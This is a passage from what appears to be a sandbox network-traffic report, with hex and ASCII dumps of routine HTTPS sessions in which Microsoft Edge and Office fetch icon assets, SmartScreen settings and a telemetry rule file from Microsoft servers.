2024-11-12 03:16:31 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031631Z-16547b76f7fdf69shC1DFWcpd00000000ex000000000kwnz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49843	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 848dde1d-101e-005a-5fa3-2c6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-16547b76f7f7rtshhC1DFWrtqn0000000f2g00000000dexc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49845	104.40.82.182	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSXJsR1VqdUF0VlJyWnBXRWdsU2Z6dz09IiwgImhhc2giOiJNbXZmRnlFOVVoND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-12 03:16:31 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-12 03:16:32 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-12 03:16:32 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-12 03:16:32 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-12 03:16:32 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49844	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b18e1dbb-901e-000f-6849-3285f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-16547b76f7fkj7j4hC1DFW0a9g0000000f0000000000fc6h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49846	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 93a3a18f-901e-004b-34a2-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-16547b76f7f4k79zhC1DFWu9y00000000f3000000000bzse Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49847	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 9296dea2-201e-003f-28a2-34dfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-15869dbbcc6lq45jhC1DFWtecs00000000vg000000002wx3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49848	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
